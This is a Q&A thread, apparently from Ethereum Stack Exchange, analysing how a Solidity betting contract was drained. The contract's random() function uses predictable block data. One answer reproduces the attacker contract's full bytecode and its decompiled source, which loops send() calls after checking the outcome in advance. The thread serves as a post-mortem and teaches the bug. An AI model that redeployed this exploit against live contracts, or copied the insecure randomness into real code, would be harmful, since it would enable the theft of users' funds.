0

The idea is to have a user call send() with some eth. The contract decides if user won/lost. Winner gets a prize msg.sender.transfer(msg.value + winnings); loser gets nothing.

Unfortunately the contract got hacked:

https://etherscan.io/address/0x419a058dca91d152d36c4c6888aafd3890ce7429

pragma solidity 0.5.11;

contract EtherDie {
    address payable owner;
    uint256 public maxSendPercentage = 5;
    uint256 public prizePercentage = 10;
    uint256 public winPercentage = 60;
    event Winnings(uint256);
    bool locked;

    modifier noReentrancy() {
        require(!locked,"Reentrant call");
        locked = true;
        _;
        locked = false;
    }

    constructor() public payable {
        owner = msg.sender;
    }

     function () external payable {
        // donate here
    }

    function send() public payable noReentrancy {
        require(msg.value <= 5 ether && msg.value < address(this).balance * maxSendPercentage / 100, "sending too much");
        if (random() < winPercentage) {
            uint winnings = msg.value * prizePercentage / 100;
            emit Winnings(winnings);
            msg.sender.transfer(msg.value + winnings);
        }
    }

    function withdraw(uint256 _wei) public payable {
        require(owner == msg.sender,  "cannot withdraw");
        owner.transfer(_wei);
    }

    function setPrizePercentage(uint256 _prizePercentage) public {
        require(owner == msg.sender,  "cannot set price percentage");
        prizePercentage = _prizePercentage;
    }

    function setMaxSendPercentage(uint256 _maxSendPercentage) public {
        require(owner == msg.sender,  "cannot set max send percentage");
        maxSendPercentage = _maxSendPercentage;
    }

    function setWinPercentage(uint256 _winPercentage) public {
        require(owner == msg.sender,  "cannot set win percentage");
        winPercentage = _winPercentage;
    }

    function random() private view returns(uint){
        uint source = block.difficulty + now;
        bytes memory source_b = toBytes(source);
        return uint(keccak256(source_b)) % 100;
    }

    function toBytes(uint256 x) private pure returns (bytes memory b) {
        b = new bytes(32);
        assembly { mstore(add(b, 32), x) }
    }
}

If you look at the internal transactions, you can see how the funds got drained. There was a mutex but it didn't seem to work.

Any ideas?

3

I haven't studied this in-depth but I see a clear problem outside of the mutex.

This is not random.

    function random() private view returns(uint){
        uint source = block.difficulty + now;
        bytes memory source_b = toBytes(source);
        return uint(keccak256(source_b)) % 100;
    }

It is also not hard to guess.

You are trying to make it hard to guess by using block.difficulty and now as inputs for a hash function under the wrong assumption that no one can know those things until the transaction is mined.

Actually, this is a well-known mistake. Both are knowable.

The attacker has to be a contract and call the victim contract from there. So, a hacker will deploy a contract for this purpose.

Since both the attacker and the victim functions will execute in the same transaction, it follows that they will execute in the same block context. In other words, the attacker has access to the same values as the victim. It will win every time.

Hope it helps.

0

In short

  • This is not a reentrance attack.
  • The actual vulnerability is the contract's mechanism allows cheap trail-and-error, until there a "hit". (Interestingly, "hit" is also the name of attacker's contract method)

Attack Mechanism

The attacker deployed a contract that

  • calls random to see if a Win will happen.
  • If yes, loop and call send 100 times.
  • If not, quit, hit another time.

In pseudo code:

function hit(numSends) {
    if random() > 60 {
        return; // hit another time
    }
    for i = 0; i < 100; i++ {
        send()
    }
}

The key point is it's cheap the call your contract's random, the gas consumed in the the trials is insignificant, comparing to the gain once a win happens.

Decompiling the attacker contract

  1. Following your link, one of the attack transactions is here https://etherscan.io/tx/0x770bfb08f66db388676dab26690b14b3cfca65b439cad0915d04c9a041f5a68b

  2. This leads to the attack contract (now self-destructed): https://etherscan.io/address/0xcddeea428a578001d0b132b0d93f73f22ac1dcf7

  3. Go to the contract's creation transaction https://etherscan.io/tx/0x8f7fcd58fb33eac3f3e525f9e827165d795784aad9dbc87c849a6cc657fa4ff5

  4. The input data, which constructs the contract, is as follows

0x60806040526000600255604051610a7a380380610a7a8339818101604052602081101561002b57600080fd5b8101908080519060200190929190505050336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561011f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f546172676574206164647265737320697320726571756972656400000000000081525060200191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505061090a806101706000396000f3fe6080604052600436106100865760003560e01c80638da5cb5b116100595780638da5cb5b1461010c578063d321fe2914610163578063d4b839921461018e578063eb175b7e146101e5578063ebf6e91d1461021057610086565b806312065fe0146100885780633ccfd60b146100b357806341c0e1b5146100ca578063795dbede146100e1575b005b34801561009457600080fd5b5061009d61023e565b6040518082815260200191505060405180910390f35b3480156100bf57600080fd5b506100c861025d565b005b3480156100d657600080fd5b506100df610373565b005b3480156100ed57600080fd5b506100f6610452565b6040518082815260200191505060405180910390f35b34801561011857600080fd5b50610121610458565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561016f57600080fd5b5061017861047d565b6040518082815260200191505060405180910390f35b34801561019a57600080fd5b506101a36104ce565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101f157600080fd5b506101fa6104f4565b6040518082815260200191505060405180910390f35b61023c6004803603602081101561022657600080fd5b8101908080359060200190929190505050610535565b005b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610302576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806108b56021913960400191505060405180910390fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61034561023e565b9081150290604051600060405180830381858888f19350505050158015610370573d6000803e3d6000fd5b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610418576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806108b56021913960400191505060405180910390fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b60025481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160646005600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163102816104c757fe5b0403905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1631905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146105da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806108b56021913960400191505060405180910390fd5b60006105e461023e565b905060006105f061047d565b9050808210156105ff57600080fd5b606060405160240180806020018281038252600081526020016020019150506040516020818303038152906040527fb46300ec000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050509050603c6106a761083f565b10156108395760008090505b848110156107aa576106c361047d565b9250600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1683836040518082805190602001908083835b602083106107335780518252602082019150602081019050602083039250610710565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610795576040519150601f19603f3d011682016040523d82523d6000602084013e61079a565b606091505b50505080806001019150506106b3565b50823073ffffffffffffffffffffffffffffffffffffffff16311015610838576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4469646e742077696e000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b5b50505050565b6000804244019050606061085282610870565b90506064818051906020012060001c8161086857fe5b069250505090565b606060206040519080825280601f01601f1916602001820160405280156108a65781602001600182028038833980820191505090505b50905081602082015291905056fe4f6e6c79206f776e65722063616e2063616c6c20746869732066756e6374696f6ea265627a7a723158203b33d2856a006e4da76d4f8f6737301e2e0c1bd52464fd52b8c5cb9b71eeccbf64736f6c634300050b0032000000000000000000000000419a058dca91d152d36c4c6888aafd3890ce7429
  1. The above data contains

    • Boilerplate constructor code to deploy a contract
    • The actual attack contract code
  2. Chop off the constructor (up to the second 6080) to get the payload (the attacker contract) code as follows

6080604052600436106100865760003560e01c80638da5cb5b116100595780638da5cb5b1461010c578063d321fe2914610163578063d4b839921461018e578063eb175b7e146101e5578063ebf6e91d1461021057610086565b806312065fe0146100885780633ccfd60b146100b357806341c0e1b5146100ca578063795dbede146100e1575b005b34801561009457600080fd5b5061009d61023e565b6040518082815260200191505060405180910390f35b3480156100bf57600080fd5b506100c861025d565b005b3480156100d657600080fd5b506100df610373565b005b3480156100ed57600080fd5b506100f6610452565b6040518082815260200191505060405180910390f35b34801561011857600080fd5b50610121610458565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561016f57600080fd5b5061017861047d565b6040518082815260200191505060405180910390f35b34801561019a57600080fd5b506101a36104ce565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101f157600080fd5b506101fa6104f4565b6040518082815260200191505060405180910390f35b61023c6004803603602081101561022657600080fd5b8101908080359060200190929190505050610535565b005b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610302576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806108b56021913960400191505060405180910390fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61034561023e565b9081150290604051600060405180830381858888f19350505050158015610370573d6000803e3d6000fd5b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610418576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806108b56021913960400191505060405180910390fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b60025481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160646005600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163102816104c757fe5b0403905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1631905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146105da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806108b56021913960400191505060405180910390fd5b60006105e461023e565b905060006105f061047d565b9050808210156105ff57600080fd5b606060405160240180806020018281038252600081526020016020019150506040516020818303038152906040527fb46300ec000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050509050603c6106a761083f565b10156108395760008090505b848110156107aa576106c361047d565b9250600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1683836040518082805190602001908083835b602083106107335780518252602082019150602081019050602083039250610710565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610795576040519150601f19603f3d011682016040523d82523d6000602084013e61079a565b606091505b50505080806001019150506106b3565b50823073ffffffffffffffffffffffffffffffffffffffff16311015610838576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4469646e742077696e000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b5b50505050565b6000804244019050606061085282610870565b90506064818051906020012060001c8161086857fe5b069250505090565b606060206040519080825280601f01601f1916602001820160405280156108a65781602001600182028038833980820191505090505b50905081602082015291905056fe4f6e6c79206f776e65722063616e2063616c6c20746869732066756e6374696f6ea265627a7a723158203b33d2856a006e4da76d4f8f6737301e2e0c1bd52464fd52b8c5cb9b71eeccbf64736f6c634300050b0032000000000000000000000000419a058dca91d152d36c4c6888aafd3890ce7429
  1. Feed this payload into this nice online decompiler https://ethervm.io/decompile

  2. The decompilation result is as follows

contract Contract {
    function main() {
        memory[0x40:0x60] = 0x80;

        if (msg.data.length < 0x04) { stop(); }

        var var0 = msg.data[0x00:0x20] >> 0xe0;

        if (0x8da5cb5b > var0) {
            if (var0 == 0x12065fe0) {
                // Dispatch table entry for getBalance()
                var var1 = msg.value;

                if (var1) { revert(memory[0x00:0x00]); }

                var1 = 0x009d;
                var1 = getBalance();
                var temp0 = memory[0x40:0x60];
                memory[temp0:temp0 + 0x20] = var1;
                var temp1 = memory[0x40:0x60];
                return memory[temp1:temp1 + (temp0 + 0x20) - temp1];
            } else if (var0 == 0x3ccfd60b) {
                // Dispatch table entry for withdraw()
                var1 = msg.value;

                if (var1) { revert(memory[0x00:0x00]); }

                var1 = 0x00c8;
                withdraw();
                stop();
            } else if (var0 == 0x41c0e1b5) {
                // Dispatch table entry for kill()
                var1 = msg.value;

                if (var1) { revert(memory[0x00:0x00]); }

                var1 = 0x00df;

                if (msg.sender == storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff) { selfdestruct(storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff); }

                var temp2 = memory[0x40:0x60];
                memory[temp2:temp2 + 0x20] = 0x08c379a000000000000000000000000000000000000000000000000000000000;
                var temp3 = temp2 + 0x04;
                var temp4 = temp3 + 0x20;
                memory[temp3:temp3 + 0x20] = temp4 - temp3;
                memory[temp4:temp4 + 0x20] = 0x21;
                var temp5 = temp4 + 0x20;
                memory[temp5:temp5 + 0x21] = code[0x08b5:0x08d6];
                var temp6 = memory[0x40:0x60];
                revert(memory[temp6:temp6 + (temp5 + 0x40) - temp6]);
            } else if (var0 == 0x795dbede) {
                // Dispatch table entry for idx()
                var1 = msg.value;

                if (var1) { revert(memory[0x00:0x00]); }

                var1 = 0x00f6;
                var var2 = idx();
                var temp7 = memory[0x40:0x60];
                memory[temp7:temp7 + 0x20] = var2;
                var temp8 = memory[0x40:0x60];
                return memory[temp8:temp8 + (temp7 + 0x20) - temp8];
            } else { stop(); }
        } else if (var0 == 0x8da5cb5b) {
            // Dispatch table entry for owner()
            var1 = msg.value;

            if (var1) { revert(memory[0x00:0x00]); }

            var1 = 0x0121;
            var2 = owner();
            var temp9 = memory[0x40:0x60];
            memory[temp9:temp9 + 0x20] = var2 & 0xffffffffffffffffffffffffffffffffffffffff;
            var temp10 = memory[0x40:0x60];
            return memory[temp10:temp10 + (temp9 + 0x20) - temp10];
        } else if (var0 == 0xd321fe29) {
            // Dispatch table entry for getAmount()
            var1 = msg.value;

            if (var1) { revert(memory[0x00:0x00]); }

            var1 = 0x0178;
            var1 = getAmount();
            var temp11 = memory[0x40:0x60];
            memory[temp11:temp11 + 0x20] = var1;
            var temp12 = memory[0x40:0x60];
            return memory[temp12:temp12 + (temp11 + 0x20) - temp12];
        } else if (var0 == 0xd4b83992) {
            // Dispatch table entry for target()
            var1 = msg.value;

            if (var1) { revert(memory[0x00:0x00]); }

            var1 = 0x01a3;
            var2 = target();
            var temp13 = memory[0x40:0x60];
            memory[temp13:temp13 + 0x20] = var2 & 0xffffffffffffffffffffffffffffffffffffffff;
            var temp14 = memory[0x40:0x60];
            return memory[temp14:temp14 + (temp13 + 0x20) - temp14];
        } else if (var0 == 0xeb175b7e) {
            // Dispatch table entry for 0xeb175b7e (unknown)
            var1 = msg.value;

            if (var1) { revert(memory[0x00:0x00]); }

            var1 = 0x01fa;
            var1 = func_04F4();
            var temp15 = memory[0x40:0x60];
            memory[temp15:temp15 + 0x20] = var1;
            var temp16 = memory[0x40:0x60];
            return memory[temp16:temp16 + (temp15 + 0x20) - temp16];
        } else if (var0 == 0xebf6e91d) {
            // Dispatch table entry for hit(uint256)
            var1 = 0x023c;
            var2 = 0x04;
            var var3 = msg.data.length - var2;

            if (var3 < 0x20) { revert(memory[0x00:0x00]); }

            hit(var2, var3);
            stop();
        } else { stop(); }
    }

    function hit(var arg0, var arg1) {
        arg0 = msg.data[arg0:arg0 + 0x20];

        if (msg.sender == storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff) {
            arg1 = 0x00;
            var var0 = 0x05e4;
            var0 = getBalance();
            arg1 = var0;
            var0 = 0x00;
            var var1 = 0x05f0;
            var1 = getAmount();
            var0 = var1;

            if (arg1 < var0) { revert(memory[0x00:0x00]); }

            var temp0 = memory[0x40:0x60] + 0x24;
            var temp1 = temp0 + 0x20;
            memory[temp0:temp0 + 0x20] = temp1 - temp0;
            memory[temp1:temp1 + 0x20] = 0x00;
            var temp2 = temp1 + 0x20 + 0x20;
            var temp3 = memory[0x40:0x60];
            memory[temp3:temp3 + 0x20] = temp2 - temp3 - 0x20;
            memory[0x40:0x60] = temp2;
            var temp4 = temp3 + 0x20;
            memory[temp4:temp4 + 0x20] = (memory[temp4:temp4 + 0x20] & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffff) | (~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffff & 0xb46300ec00000000000000000000000000000000000000000000000000000000);
            var1 = temp3;
            var var2 = 0x3c;
            var var3 = 0x06a7;
            var3 = func_083F();

            if (var3 >= var2) {
            label_0839:
                return;
            } else {
                var2 = 0x00;

                if (var2 >= arg0) {
                label_07AA:

                    if (address(address(this)).balance >= arg1) { goto label_0839; }

                    var temp5 = memory[0x40:0x60];
                    memory[temp5:temp5 + 0x20] = 0x08c379a000000000000000000000000000000000000000000000000000000000;
                    var temp6 = temp5 + 0x04;
                    var temp7 = temp6 + 0x20;
                    memory[temp6:temp6 + 0x20] = temp7 - temp6;
                    memory[temp7:temp7 + 0x20] = 0x09;
                    var temp8 = temp7 + 0x20;
                    memory[temp8:temp8 + 0x20] = 0x4469646e742077696e0000000000000000000000000000000000000000000000;
                    var temp9 = memory[0x40:0x60];
                    revert(memory[temp9:temp9 + (temp8 + 0x20) - temp9]);
                } else {
                label_06BC:
                    var3 = 0x06c3;
                    var3 = getAmount();
                    var temp10 = var3;
                    var0 = temp10;
                    var3 = storage[0x01] & 0xffffffffffffffffffffffffffffffffffffffff;
                    var var4 = var0;
                    var temp11 = var1;
                    var var5 = temp11;
                    var var6 = memory[0x40:0x60];
                    var var7 = var6;
                    var var8 = var5 + 0x20;
                    var var9 = memory[var5:var5 + 0x20];
                    var var10 = var9;
                    var var11 = var7;
                    var var12 = var8;

                    if (var10 < 0x20) {
                    label_0733:
                        var temp12 = 0x0100 ** (0x20 - var10) - 0x01;
                        var temp13 = var11;
                        memory[temp13:temp13 + 0x20] = (memory[var12:var12 + 0x20] & ~temp12) | (memory[temp13:temp13 + 0x20] & temp12);
                        var temp14 = memory[0x40:0x60];
                        var temp15;
                        temp15, memory[temp14:temp14 + 0x00] = address(var3).call.gas(msg.gas).value(var4)(memory[temp14:temp14 + (var9 + var7) - temp14]);
                        var4 = returndata.length;
                        var5 = var4;

                        if (var5 == 0x00) {
                            var2 = var2 + 0x01;

                        label_06B3:

                            if (var2 >= arg0) { goto label_07AA; }
                            else { goto label_06BC; }
                        } else {
                            var temp16 = memory[0x40:0x60];
                            var4 = temp16;
                            memory[0x40:0x60] = var4 + (returndata.length + 0x3f & ~0x1f);
                            memory[var4:var4 + 0x20] = returndata.length;
                            var temp17 = returndata.length;
                            memory[var4 + 0x20:var4 + 0x20 + temp17] = returndata[0x00:0x00 + temp17];
                            var2 = var2 + 0x01;
                            goto label_06B3;
                        }
                    } else {
                    label_0719:
                        var temp18 = var12;
                        var temp19 = var11;
                        memory[temp19:temp19 + 0x20] = memory[temp18:temp18 + 0x20];
                        var11 = temp19 + 0x20;
                        var12 = temp18 + 0x20;
                        var10 = var10 - 0x20;

                        if (var10 < 0x20) { goto label_0733; }
                        else { goto label_0719; }
                    }
                }
            }
        } else {
            var temp20 = memory[0x40:0x60];
            memory[temp20:temp20 + 0x20] = 0x08c379a000000000000000000000000000000000000000000000000000000000;
            var temp21 = temp20 + 0x04;
            var temp22 = temp21 + 0x20;
            memory[temp21:temp21 + 0x20] = temp22 - temp21;
            memory[temp22:temp22 + 0x20] = 0x21;
            var temp23 = temp22 + 0x20;
            memory[temp23:temp23 + 0x21] = code[0x08b5:0x08d6];
            var temp24 = memory[0x40:0x60];
            revert(memory[temp24:temp24 + (temp23 + 0x40) - temp24]);
        }
    }

    function getBalance() returns (var r0) { return address(address(this)).balance; }

    function withdraw() {
        if (msg.sender == storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff) {
            var var0 = storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff;
            var var1 = 0x08fc;
            var var2 = 0x0345;
            var2 = getBalance();
            var temp0 = var2;
            var temp1 = memory[0x40:0x60];
            var temp2;
            temp2, memory[temp1:temp1 + 0x00] = address(var0).call.gas(!temp0 * var1).value(temp0)(memory[temp1:temp1 + memory[0x40:0x60] - temp1]);
            var0 = !temp2;

            if (!var0) { return; }

            var temp3 = returndata.length;
            memory[0x00:0x00 + temp3] = returndata[0x00:0x00 + temp3];
            revert(memory[0x00:0x00 + returndata.length]);
        } else {
            var temp4 = memory[0x40:0x60];
            memory[temp4:temp4 + 0x20] = 0x08c379a000000000000000000000000000000000000000000000000000000000;
            var temp5 = temp4 + 0x04;
            var temp6 = temp5 + 0x20;
            memory[temp5:temp5 + 0x20] = temp6 - temp5;
            memory[temp6:temp6 + 0x20] = 0x21;
            var temp7 = temp6 + 0x20;
            memory[temp7:temp7 + 0x21] = code[0x08b5:0x08d6];
            var temp8 = memory[0x40:0x60];
            revert(memory[temp8:temp8 + (temp7 + 0x40) - temp8]);
        }
    }

    function idx() returns (var r0) { return storage[0x02]; }

    function owner() returns (var r0) { return storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff; }

    function getAmount() returns (var r0) {
        var var0 = 0x00;
        var var1 = 0x01;
        var var2 = 0x64;
        var var3 = address(storage[0x01] & 0xffffffffffffffffffffffffffffffffffffffff).balance * 0x05;

        if (var2) { return var3 / var2 - var1; }
        else { assert(); }
    }

    function target() returns (var r0) { return storage[0x01] & 0xffffffffffffffffffffffffffffffffffffffff; }

    function func_04F4() returns (var r0) { return address(storage[0x01] & 0xffffffffffffffffffffffffffffffffffffffff).balance; }

    function func_083F() returns (var r0) {
        var var0 = 0x00;
        var var1 = block.difficulty + block.timestamp;
        var var2 = 0x60;
        var var3 = 0x0852;
        var var4 = var1;
        var3 = func_0870(var4);
        var temp0 = var3;
        var2 = temp0;
        var3 = 0x64;
        var4 = keccak256(memory[var2 + 0x20:var2 + 0x20 + memory[var2:var2 + 0x20]]) >> 0x00;

        if (var3) { return var4 % var3; }
        else { assert(); }
    }

    function func_0870(var arg0) returns (var r0) {
        var var0 = 0x60;
        var temp0 = memory[0x40:0x60];
        var var2 = 0x20;
        var var1 = temp0;
        memory[var1:var1 + 0x20] = var2;
        memory[0x40:0x60] = var1 + (var2 + 0x1f & ~0x1f) + 0x20;

        if (!var2) {
            memory[var1 + 0x20:var1 + 0x20 + 0x20] = arg0;
            return var1;
        } else {
            var temp1 = var1;
            var temp2 = var2;
            memory[temp1 + 0x20:temp1 + 0x20 + temp2] = code[code.length:code.length + temp2];
            memory[temp1 + 0x20:temp1 + 0x20 + 0x20] = arg0;
            return temp1;
        }
    }
}

Analysis

  1. The main implementation is function hit
  2. It starts with if (msg.sender == storage[0x00]...). This should be roughly translated into if msg.sender != me_the_attacker {revert;} (Not much spirit of sharing here)
  3. if (address(address(this)).balance >= arg1) { goto label_0839; } might be if this.balance > enough_for_now {return;} // Enough for now but I will be back
  4. The core part of this attack seems to be
                        temp15, memory[temp14:temp14 + 0x00] = address(var3).call.gas(msg.gas).value(var4)(memory[temp14:temp14 + (var9 + var7) - temp14]);
                        var4 = returndata.length;
                        var5 = var4;

                        if (var5 == 0x00) {
                            var2 = var2 + 0x01;

                        label_06B3:

                            if (var2 >= arg0) { goto label_07AA; }
                            else { goto label_06BC; }

This can be trivially translated into something like

loop: ret = send()
if i < arg0 {goto loop;} else {return;}

Essentially, the loop in the pseudo code.

  1. There are other checks, jumps, etc. I haven't look at them yet. Presumably those are other trivial checks to make sure the attack is profitable.

Conclusion

  • This is a trivial attack based trial and error. The fact that the attacker contract had failed transactions seem to further prove it (I haven't looked deeper at those failures though, so I may be wrong).

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.